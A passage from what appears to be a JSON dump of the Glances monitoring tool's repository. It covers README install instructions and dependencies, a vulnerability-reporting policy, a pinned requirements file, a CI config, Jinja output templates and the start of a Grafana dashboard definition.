/run/user/1000/podman/podman.sock:/run/user/1000/podman/podman.sock:ro --pid host nicolargo/glances:latest-full\n\nFor a full list of options, see the Glances `Docker`_ documentation page.\n\nIt is also possible to use a simple Docker compose file (see in ./docker-compose/docker-compose.yml):\n\n.. code-block:: console\n\n    cd ./docker-compose\n    docker-compose up\n\nIt will start a Glances server with WebUI.\n\nBrew: The missing package manager\n---------------------------------\n\nFor Linux and Mac OS, it is also possible to install Glances with `Brew`_:\n\n.. code-block:: console\n\n    brew install glances\n\nGNU/Linux package\n-----------------\n\n`Glances` is available on many Linux distributions, so you should be\nable to install it using your favorite package manager. Nevetheless,\ni do not recommend it. Be aware that when you use this method the operating\nsystem `package`_ for `Glances` may not be the latest version and only basics\nplugins are enabled.\n\nNote: The Debian package (and all other Debian-based distributions) do\nnot include anymore the JS statics files used by the Web interface\n(see ``issue2021``). If you want to add it to your Glances installation,\nfollow the instructions: ``issue2021comment``. In Glances version 4 and\nhigher, the path to the statics file is configurable (see ``issue2612``).\n\nFreeBSD\n-------\n\nOn FreeBSD, package name depends on the Python version.\n\nCheck for Python version:\n\n.. code-block:: console\n\n     # python --version\n\nInstall the Glances package:\n\n.. code-block:: console\n\n    # pkg install pyXY-glances\n\nWhere X and Y are the Major and Minor Values of your Python System.\n\n.. code-block:: console\n\n    # Example for Python 3.11.3: pkg install py311-glances\n\n**NOTE:** Check Glances Binary Package Version for your System Architecture.\nYou must have the Correct Python Version Installed which corresponds to the Glances Binary Package.\n\nTo install Glances from Ports:\n\n.. code-block:: console\n\n    # cd /usr/ports/sysutils/py-glances/\n    # make install clean\n\nmacOS\n-----\n\nMacOS users can install Glances using ``Homebrew`` or ``MacPorts``.\n\nHomebrew\n````````\n\n.. code-block:: console\n\n    $ brew install glances\n\nMacPorts\n````````\n\n.. code-block:: console\n\n    $ sudo port install glances\n\nWindows\n-------\n\nInstall `Python`_ for Windows (Python 3.4+ ship with pip) and\nfollow the Glances Pip install procedure.\n\nAndroid\n-------\n\nYou need a rooted device and the `Termux`_ application (available on the\nGoogle Play Store).\n\nStart Termux on your device and enter:\n\n.. code-block:: console\n\n    $ apt update\n    $ apt upgrade\n    $ apt install clang python\n    $ pip install fastapi uvicorn jinja2\n    $ pip install glances\n\nAnd start Glances:\n\n.. code-block:: console\n\n    $ glances\n\nYou can also run Glances in server mode (-s or -w) in order to remotely\nmonitor your Android device.\n\nSource\n------\n\nTo install Glances from source:\n\n.. code-block:: console\n\n    $ pip install https://github.com/nicolargo/glances/archive/vX.Y.tar.gz\n\n*Note*: Python headers are required to install psutil.\n\nChef\n----\n\nAn awesome ``Chef`` cookbook is available to monitor your infrastructure:\nhttps://supermarket.chef.io/cookbooks/glances (thanks to Antoine Rouyer)\n\nPuppet\n------\n\nYou can install Glances using ``Puppet``: https://github.com/rverchere/puppet-glances\n\nAnsible\n-------\n\nA Glances ``Ansible`` role is available: https://galaxy.ansible.com/zaxos/glances-ansible-role/\n\nShell tab completion 🔍\n=======================\n\nGlances 4.3.2 and higher includes shell tab autocompletion thanks to the --print-completion option.\n\nFor example, on a Linux operating system with bash shell:\n\n.. code-block:: console\n\n    $ mkdir -p ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion\n    $ glances --print-completion bash > ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion/glances\n    $ source ${XDG_DATA_HOME:=\"$HOME/.local/share\"}/bash-completion/glances\n\nFollowing shells are supported: bash, zsh and tcsh.\n\nRequirements 🧩\n===============\n\nGlances is developed in Python. A minimal Python version 3.10 or higher\nshould be installed on your system.\n\n*Note for Python 2 users*\n\nGlances version 4 or higher do not support Python 2 (and Python 3 < 3.10).\nPlease uses Glances version 3.4.x if you need Python 2 support.\n\nDependencies:\n\n- ``psutil`` (better with latest version)\n- ``defusedxml`` (in order to monkey patch xmlrpc)\n- ``packaging`` (for the version comparison)\n- ``windows-curses`` (Windows Curses implementation) [Windows-only]\n- ``shtab`` (Shell autocompletion) [All but Windows]\n- ``jinja2`` (for fetch mode and templating)\n\nExtra dependencies:\n\n- ``batinfo`` (for battery monitoring)\n- ``bernhard`` (for the Riemann export module)\n- ``cassandra-driver`` (for the Cassandra export module)\n- ``chevron`` (for the action script feature)\n- ``docker`` (for the Containers Docker monitoring support)\n- ``elasticsearch`` (for the Elastic Search export module)\n- ``FastAPI`` and ``Uvicorn`` (for Web server mode)\n- ``mcp`` (for the MCP server — AI assistant integration)\n- ``graphitesender`` (For the Graphite export module)\n- ``hddtemp`` (for HDD temperature monitoring support) [Linux-only]\n- ``influxdb`` (for the InfluxDB version 1 export module)\n- ``influxdb-client``  (for the InfluxDB version 2 export module)\n- ``kafka-python`` (for the Kafka export module)\n- ``nats-py`` (for the NATS export module)\n- ``nvidia-ml-py`` (for the GPU plugin)\n- ``pycouchdb`` (for the CouchDB export module)\n- ``pika`` (for the RabbitMQ/ActiveMQ export module)\n- ``podman`` (for the Containers Podman monitoring support)\n- ``potsdb`` (for the OpenTSDB export module)\n- ``prometheus_client`` (for the Prometheus export module)\n- ``pylxd`` (for the LXC Containers monitoring support)\n- ``psycopg[binary]`` (for the PostgreSQL/TimeScale export module)\n- ``pygal`` (for the graph export module)\n- ``pymdstat`` (for RAID support) [Linux-only]\n- ``pymongo`` (for the MongoDB export module)\n- ``pysnmp-lextudio`` (for SNMP support)\n- ``pySMART.smartx`` (for HDD Smart support) [Linux-only]\n- ``pyzmq`` (for the ZeroMQ export module)\n- ``requests`` (for the Ports, Cloud plugins and RESTful export module)\n- ``sparklines`` (for the Quick Plugin sparklines option)\n- ``statsd`` (for the StatsD export module)\n- ``wifi`` (for the wifi plugin) [Linux-only]\n- ``zeroconf`` (for the autodiscover mode)\n\nHow to contribute ? 🤝\n======================\n\nIf you want to contribute to the Glances project, read this `wiki`_ page.\n\nThere is also a chat dedicated to the Glances developers:\n\n.. image:: https://badges.gitter.im/Join%20Chat.svg\n        :target: https://gitter.im/nicolargo/glances?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge\n\nProject sponsorship 🙌\n======================\n\nYou can help me to achieve my goals of improving this open-source project\nor just say \"thank you\" by:\n\n- sponsor me using one-time or monthly tier Github sponsors_ page\n- send me some pieces of bitcoin: 185KN9FCix3svJYp7JQM7hRMfSKyeaJR4X\n- buy me a gift on my wishlist_ page\n\nAny and all contributions are greatly appreciated.\n\nAuthors and Contributors 🔥\n===========================\n\nNicolas Hennion (@nicolargo) <nicolas@nicolargo.com>\n\n.. image:: https://img.shields.io/twitter/url/https/twitter.com/cloudposse.svg?style=social&label=Follow%20%40nicolargo\n    :target: https://twitter.com/nicolargo\n\nLicense 📜\n==========\n\nGlances is distributed under the LGPL version 3 license. See ``COPYING`` for more details.\n\nMore stars ! 🌟\n===============\n\nPlease give us a star on `GitHub`_ if you like this project.\n\n.. image:: https://api.star-history.com/svg?repos=nicolargo/glances&type=Date\n    :target: https://www.star-history.com/#nicolargo/glances&Date\n    :alt: Star history\n\n.. _psutil: https://github.com/giampaolo/psutil\n.. _Brew: https://formulae.brew.sh/formula/glances\n.. _Python: https://www.python.org/getit/\n.. _Termux: https://play.google.com/store/apps/details?id=com.termux\n.. _readthedocs: https://glances.readthedocs.io/\n.. _forum: https://www.reddit.com/r/glances/\n.. _wiki: https://github.com/nicolargo/glances/wiki/How-to-contribute-to-Glances-%3F\n.. _package: https://repology.org/project/glances/versions\n.. _sponsors: https://github.com/sponsors/nicolargo\n.. _wishlist: https://www.amazon.fr/hz/wishlist/ls/BWAAQKWFR3FI?ref_=wl_share\n.. _Uv: https://docs.astral.sh/uv/getting-started/installation/\n.. _Docker: https://github.com/nicolargo/glances/blob/master/docs/docker.rst\n.. _GitHub: https://github.com/nicolargo/glances\n.. _PythonApi: https://glances.readthedocs.io/en/develop/api/python.html\n.. _RestfulApi: https://glances.readthedocs.io/en/develop/api/restful.html\n.. _McpApi: https://glances.readthedocs.io/en/develop/api/mcp.html\n.. _`MCP (Model Context Protocol)`: https://modelcontextprotocol.io\n.. _FAQ: https://github.com/nicolargo/glances/blob/develop/docs/faq.rst\n.. _Discussions: https://github.com/nicolargo/glances/discussions\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\n| Version | Support security updates |\n| ------- | ------------------------ |\n| 4.x     | :white_check_mark:       |\n| < 4.0   | :x:                      |\n\n## Reporting a Vulnerability\n\nIf there are any vulnerabilities in {{cookiecutter.project_name}}, don't hesitate to report them.\n\n    1. Describe the vulnerability.\n\n      * Type of issue (e.g. buffer overflow, SQL injection, cross-site scripting, etc.)\n      * Full paths of source file(s) related to the manifestation of the issue\n      * The location of the affected source code (tag/branch/commit or direct URL)\n      * Any special configuration required to reproduce the issue\n      * Step-by-step instructions to reproduce the issue\n      * Proof-of-concept or exploit code (if possible)\n      * Impact of the issue, including how an attacker might exploit the issue\n\n    2. If you have a fix, that is most welcome -- please attach or summarize it in your message!\n\n    3. We will evaluate the vulnerability and, if necessary, release a fix or mitigating steps to address it. We will contact you to let you know the outcome, and will credit you in the report.\n\n    4. Please do not disclose the vulnerability publicly until a fix is released!\n\nOnce we have either a) published a fix, or b) declined to address the vulnerability for whatever reason, you are free to publicly disclose it.\n"
  },
  {
    "path": "all-requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --no-emit-workspace --no-hashes --all-extras --no-group dev --output-file all-requirements.txt\nannotated-doc==0.0.4\n    # via fastapi\nannotated-types==0.7.0\n    # via pydantic\nanyio==4.12.1\n    # via\n    #   elasticsearch\n    #   httpx\n    #   mcp\n    #   sse-starlette\n    #   starlette\nattrs==25.4.0\n    # via\n    #   jsonschema\n    #   referencing\nbatinfo==0.4.2 ; sys_platform == 'linux'\n    # via glances\nbernhard==0.2.6\n    # via glances\ncertifi==2026.2.25\n    # via\n    #   elastic-transport\n    #   httpcore\n    #   httpx\n    #   influxdb-client\n    #   influxdb3-python\n    #   requests\ncffi==2.0.0 ; implementation_name == 'pypy' or platform_python_implementation != 'PyPy'\n    # via\n    #   cryptography\n    #   pyzmq\nchardet==7.1.0\n    # via pysmart\ncharset-normalizer==3.4.5\n    # via requests\nchevron==0.14.0\n    # via glances\nclick==8.1.8\n    # via uvicorn\ncolorama==0.4.6 ; sys_platform == 'win32'\n    # via click\ncryptography==46.0.5\n    # via\n    #   pyjwt\n    #   pylxd\n    #   pysnmpcrypto\n    #   python-jose\ndefusedxml==0.7.1\n    # via glances\ndnspython==2.8.0\n    # via pymongo\ndocker==7.1.0\n    # via glances\necdsa==0.19.1\n    # via python-jose\nelastic-transport==9.2.1\n    # via elasticsearch\nelasticsearch==9.3.0\n    # via glances\nexceptiongroup==1.2.2 ; python_full_version < '3.11'\n    # via anyio\nfastapi==0.135.1\n    # via glances\ngraphitesender==0.11.2\n    # via glances\nh11==0.16.0\n    # via\n    #   httpcore\n    #   uvicorn\nhttpcore==1.0.9\n    # via httpx\nhttpx==0.28.1\n    # via mcp\nhttpx-sse==0.4.3\n    # via mcp\nhumanfriendly==10.0\n    # via pysmart\nibm-cloud-sdk-core==3.24.4\n    # via ibmcloudant\nibmcloudant==0.11.4\n    # via glances\nidna==3.11\n    # via\n    #   anyio\n    #   httpx\n    #   requests\nifaddr==0.2.0\n    # via zeroconf\nimportlib-metadata==8.7.1\n    # via pygal\ninfluxdb==5.3.2\n    # via glances\ninfluxdb-client==1.50.0\n    # via glances\ninfluxdb3-python==0.18.0\n    # via glances\njinja2==3.1.6\n    # via\n    #   glances\n    #   pysmi-lextudio\njsonschema==4.25.1\n    # via mcp\njsonschema-specifications==2025.9.1\n    # via jsonschema\nkafka-python==2.3.0\n    # via glances\nmarkupsafe==3.0.3\n    # via jinja2\nmcp==1.23.3\n    # via glances\nmsgpack==1.1.2\n    # via influxdb\nnats-py==2.14.0\n    # via glances\nnvidia-ml-py==13.590.48\n    # via glances\npackaging==26.0\n    # via glances\npaho-mqtt==2.1.0\n    # via glances\npbkdf2==1.3\n    # via wifi\npika==1.3.2\n    # via glances\nply==3.11\n    # via pysmi-lextudio\npodman==5.7.0\n    # via glances\npotsdb==1.0.3\n    # via glances\nprometheus-client==0.24.1\n    # via glances\nprotobuf==6.33.5\n    # via bernhard\npsutil==7.2.2\n    # via glances\npsycopg==3.3.3\n    # via glances\npsycopg-binary==3.3.3 ; implementation_name != 'pypy'\n    # via psycopg\npyarrow==23.0.1\n    # via influxdb3-python\npyasn1==0.6.2\n    # via\n    #   pysnmp-lextudio\n    #   python-jose\n    #   rsa\npycparser==3.0 ; (implementation_name != 'PyPy' and platform_python_implementation != 'PyPy') or (implementation_name == 'pypy' and platform_python_implementation == 'PyPy')\n    # via cffi\npydantic==2.12.5\n    # via\n    #   fastapi\n    #   mcp\n    #   pydantic-settings\npydantic-core==2.41.5\n    # via pydantic\npydantic-settings==2.13.1\n    # via mcp\npygal==3.1.0\n    # via glances\npyinstrument==5.1.2\n    # via glances\npyjwt==2.12.1\n    # via\n    #   ibm-cloud-sdk-core\n    #   ibmcloudant\n    #   mcp\npylxd==2.3.9\n    # via glances\npymdstat==0.5.1\n    # via glances\npymongo==4.16.0\n    # via glances\npyreadline3==3.5.4 ; sys_platform == 'win32'\n    # via humanfriendly\npysmart==1.4.2\n    # via glances\npysmi-lextudio==1.4.3\n    # via pysnmp-lextudio\npysnmp-lextudio==6.1.2\n    # via glances\npysnmpcrypto==0.0.4\n    # via pysnmp-lextudio\npython-dateutil==2.9.0.post0\n    # via\n    #   elasticsearch\n    #   glances\n    #   ibm-cloud-sdk-core\n    #   ibmcloudant\n    #   influxdb\n    #   influxdb-client\n    #   influxdb3-python\n    #   pylxd\npython-dotenv==1.2.2\n    # via pydantic-settings\npython-jose==3.5.0\n    # via glances\npython-multipart==0.0.22\n    # via mcp\npytz==2026.1.post1\n    # via influxdb\npywin32==311 ; sys_platform == 'win32'\n    # via\n    #   docker\n    #   mcp\npyzmq==27.1.0\n    # via glances\nreactivex==4.1.0\n    # via\n    #   influxdb-client\n    #   influxdb3-python\nreferencing==0.37.0\n    # via\n    #   jsonschema\n    #   jsonschema-specifications\nrequests==2.32.5\n    # via\n    #   docker\n    #   glances\n    #   ibm-cloud-sdk-core\n    #   ibmcloudant\n    #   influxdb\n    #   podman\n    #   pylxd\n    #   pysmi-lextudio\n    #   requests-toolbelt\nrequests-toolbelt==1.0.0\n    # via pylxd\nrpds-py==0.30.0\n    # via\n    #   jsonschema\n    #   referencing\nrsa==4.9.1\n    # via python-jose\nsetuptools==82.0.1\n    # via wifi\nshtab==1.8.0 ; sys_platform != 'win32'\n    # via glances\nsix==1.17.0\n    # via\n    #   ecdsa\n    #   glances\n    #   influxdb\n    #   python-dateutil\nsniffio==1.3.1\n    # via\n    #   elastic-transport\n    #   elasticsearch\nsparklines==0.7.0\n    # via glances\nsse-starlette==3.3.2\n    # via mcp\nstarlette==0.52.1\n    # via\n    #   fastapi\n    #   mcp\n    #   sse-starlette\nstatsd==4.0.1\n    # via glances\ntermcolor==3.3.0\n    # via sparklines\ntomli==2.0.2 ; python_full_version < '3.11'\n    # via podman\ntyping-extensions==4.15.0\n    # via\n    #   anyio\n    #   cryptography\n    #   elasticsearch\n    #   fastapi\n    #   mcp\n    #   psycopg\n    #   pydantic\n    #   pydantic-core\n    #   pyjwt\n    #   reactivex\n    #   referencing\n    #   starlette\n    #   typing-inspection\n    #   uvicorn\ntyping-inspection==0.4.2\n    # via\n    #   fastapi\n    #   mcp\n    #   pydantic\n    #   pydantic-settings\ntzdata==2025.3 ; sys_platform == 'win32'\n    # via psycopg\nurllib3==2.6.3\n    # via\n    #   docker\n    #   elastic-transport\n    #   ibm-cloud-sdk-core\n    #   influxdb-client\n    #   influxdb3-python\n    #   podman\n    #   requests\nuvicorn==0.41.0\n    # via\n    #   glances\n    #   mcp\nwifi==0.3.8\n    # via glances\nwindows-curses==2.4.1 ; sys_platform == 'win32'\n    # via glances\nws4py==0.6.0\n    # via pylxd\nzeroconf==0.148.0\n    # via glances\nzipp==3.23.0\n    # via importlib-metadata\n"
  },
  {
    "path": "appveyor.yml",
    "content": "image: Visual Studio 2022\n\nenvironment:\n  matrix:\n    - PYTHON: \"C:\\\\Python310-x64\"\n    - PYTHON: \"C:\\\\Python311-x64\"\n    - PYTHON: \"C:\\\\Python312-x64\"\n\ninstall:\n  - \"%PYTHON%\\\\python.exe -m pip install --upgrade pip\"\n  - \"%PYTHON%\\\\python.exe -m pip install -r requirements.txt\"\n  - \"%PYTHON%\\\\python.exe -m pip install -r dev-requirements.txt\"\n  - \"%PYTHON%\\\\python.exe -m pip install \\\".[web]\\\"\"\n\nbuild: off\n\ntest_script:\n  - \"%PYTHON%\\\\python.exe -m pytest tests/\"\n"
  },
  {
    "path": "conf/empty.conf",
    "content": "# Empty conf, only for test\n"
  },
  {
    "path": "conf/fetch-templates/short.jinja",
    "content": "✨ {{ gl.system['hostname'] }}{{ ' - ' + gl.ip['address'] if gl.ip['address'] else '' }}\n⚙️  {{ gl.system['hr_name'] }} | Uptime: {{ gl.uptime }}\n\n💡 LOAD     {{ '%0.2f'| format(gl.load['min1']) }} {{ '%0.2f'| format(gl.load['min5']) }} {{ '%0.2f'| format(gl.load['min15']) }}\n⚡ CPU      {{ gl.bar(gl.cpu['total']) }} {{ gl.cpu['total'] }}% of {{ gl.core['log'] }} cores\n🧠 MEM      {{ gl.bar(gl.mem['percent']) }} {{ gl.mem['percent'] }}% ({{ gl.auto_unit(gl.mem['used']) }} {{ gl.auto_unit(gl.mem['total']) }})\n{% for fs in gl.fs.keys() %}💾 {% if loop.index == 1 %}DISK{% else %}    {% endif %}     {{ gl.bar(gl.fs[fs]['percent']) }} {{ gl.fs[fs]['percent'] }}% ({{ gl.auto_unit(gl.fs[fs]['used']) }} {{ gl.auto_unit(gl.fs[fs]['size']) }}) for {{ fs }}\n{% endfor %}{% for net in gl.network.keys() %}📡 {% if loop.index == 1 %}NET{% else %}   {% endif %}      ↓ {{ gl.auto_unit(gl.network[net]['bytes_recv_rate_per_sec']) }}b/s  ↑ {{ gl.auto_unit(gl.network[net]['bytes_sent_rate_per_sec']) }}b/s for {{ net }}\n{% endfor %}\n"
  },
  {
    "path": "conf/fetch-templates/with-logo.jinja",
    "content": "                      _____ _\n                     / ____| |\n                    | |  __| | __ _ _ __   ___ ___  ___\n                    | | |_ | |/ _` | '_ \\ / __/ _ \\/ __|\n                    | |__| | | (_| | | | | (_|  __/\\__\n                     \\_____|_|\\__,_|_| |_|\\___\\___||___/\n\n\n✨ {{ gl.system['hostname'] }}{{ ' - ' + gl.ip['address'] if gl.ip['address'] else '' }}\n⚙️  {{ gl.system['hr_name'] }} | Uptime: {{ gl.uptime }}\n\n💡 LOAD     {{ '%0.2f'| format(gl.load['min1']) }} {{ '%0.2f'| format(gl.load['min5']) }} {{ '%0.2f'| format(gl.load['min15']) }}\n⚡ CPU      {{ gl.bar(gl.cpu['total']) }} {{ gl.cpu['total'] }}% of {{ gl.core['log'] }} cores\n🧠 MEM      {{ gl.bar(gl.mem['percent']) }} {{ gl.mem['percent'] }}% ({{ gl.auto_unit(gl.mem['used']) }} {{ gl.auto_unit(gl.mem['total']) }})\n{% for fs in gl.fs.keys() %}💾 {% if loop.index == 1 %}DISK{% else %}    {% endif %}     {{ gl.bar(gl.fs[fs]['percent']) }} {{ gl.fs[fs]['percent'] }}% ({{ gl.auto_unit(gl.fs[fs]['used']) }} {{ gl.auto_unit(gl.fs[fs]['size']) }}) for {{ fs }}\n{% endfor %}{% for net in gl.network.keys() %}📡 {% if loop.index == 1 %}NET{% else %}   {% endif %}      ↓ {{ gl.auto_unit(gl.network[net]['bytes_recv_rate_per_sec']) }}b/s  ↑ {{ gl.auto_unit(gl.network[net]['bytes_sent_rate_per_sec']) }}b/s for {{ net }}\n{% endfor %}\n🔥 TOP PROCESS by CPU\n{% for process in gl.top_process() %}{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}    ⚡ {{ process['cpu_percent'] }}% CPU{{ ' ' * (8 - (gl.auto_unit(process['cpu_percent']) | length)) }}    🧠 {{ gl.auto_unit(process['memory_info']['rss']) }}B MEM\n{% endfor %}\n🔥 TOP PROCESS by MEM\n{% for process in gl.top_process(sorted_by='memory_percent', sorted_by_secondary='cpu_percent') %}{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}    🧠 {{ gl.auto_unit(process['memory_info']['rss']) }}B MEM{{ ' ' * (7 - (gl.auto_unit(process['memory_info']['rss']) | length)) }}    ⚡ {{ process['cpu_percent'] }}% CPU\n{% endfor %}"
  },
  {
    "path": "conf/glances-grafana-flux.json",
    "content": "{\n\t\"__inputs\": [\n\t\t{\n\t\t\t\"name\": \"DS_GLANCES\",\n\t\t\t\"label\": \"glances\",\n\t\t\t\"description\": \"\",\n\t\t\t\"type\": \"datasource\",\n\t\t\t\"pluginId\": \"influxdb\",\n\t\t\t\"pluginName\": \"InfluxDB\"\n\t\t}\n\t],\n\t\"__requires\": [\n\t\t{\n\t\t\t\"type\": \"grafana\",\n\t\t\t\"id\": \"grafana\",\n\t\t\t\"name\": \"Grafana\",\n\t\t\t\"version\": \"8.2.5\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"heatmap\",\n\t\t\t\"name\": \"Heatmap\",\n\t\t\t\"version\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"datasource\",\n\t\t\t\"id\": \"influxdb\",\n\t\t\t\"name\": \"InfluxDB\",\n\t\t\t\"version\": \"1.0.0\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"stat\",\n\t\t\t\"name\": \"Stat\",\n\t\t\t\"version\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"timeseries\",\n\t\t\t\"name\": \"Time series\",\n\t\t\t\"version\": \"\"\n\t\t}\n\t],\n\t\"annotations\": {\n\t\t\"list\": [\n\t\t\t{\n\t\t\t\t\"builtIn\": 1,\n\t\t\t\t\"datasource\": \"-- Grafana --\",\n\t\t\t\t\"enable\": true,\n\t\t\t\t\"hide\": true,\n\t\t\t\t\"iconColor\": \"rgba(0, 211, 255, 1)\",\n\t\t\t\t\"name\": \"Annotations & Alerts\",\n\t\t\t\t\"target\": {\n\t\t\t\t\t\"limit\": 100,\n\t\t\t\t\t\"matchAny\": false,\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"type\": \"dashboard\"\n\t\t\t\t},\n\t\t\t\t\"type\": \"dashboard\"\n\t\t\t}\n\t\t]\n\t},\n\t\"editable\": true,\n\t\"fiscalYearStartMonth\": 0,\n\t\"gnetId\": null,\n\t\"graphTooltip\": 0,\n\t\"id\": null,\n\t\"iteration\": 1638092370245,\n\t\"links\": [],\n\t\"liveNow\": false,\n\t\"panels\": [\n\t\t{\n\t\t\t\"collapsed\": false,\n\t\t\t\"datasource\": null,\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 1,\n\t\t\t\t\"w\": 24,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 0\n\t\t\t},\n\t\t\t\"id\": 29,\n\t\t\t\"panels\": [],\n\t\t\t\"title\": \"Glances $host\",\n\t\t\t\"type\": \"row\"\n\t\t},\n\t\t{\n\t\t\t\"cacheTimeout\": null,\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"thresholds\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 1\n\t\t\t},\n\t\t\t\"id\": 5,\n\t\t\t\"interval\": null,\n\t\t\t\"links\": [],\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"none\",\n\t\t\t\t\"graphMode\": \"none\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"lastNotNull\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"text\": {},\n\t\t\t\t\"textMode\": \"auto\"\n\t\t\t},\n\t\t\t\"pluginVersion\": \"8.2.5\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"cpucore\",\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"from(bucket: \\\"glances\\\")\\n  |> range(start: v.timeRangeStart, stop:v.timeRangeStop)\\n  |> filter(fn: (r) =>\\n    r._measurement == \\\"load\\\" and\\n    r._field == \\\"cpucore\\\" and\\n    r.hostname == \\\"${host}\\\"\\n  )\\n  |> last()\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"cpucore\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"max\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Core\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 10,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 2,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": true,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"normal\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 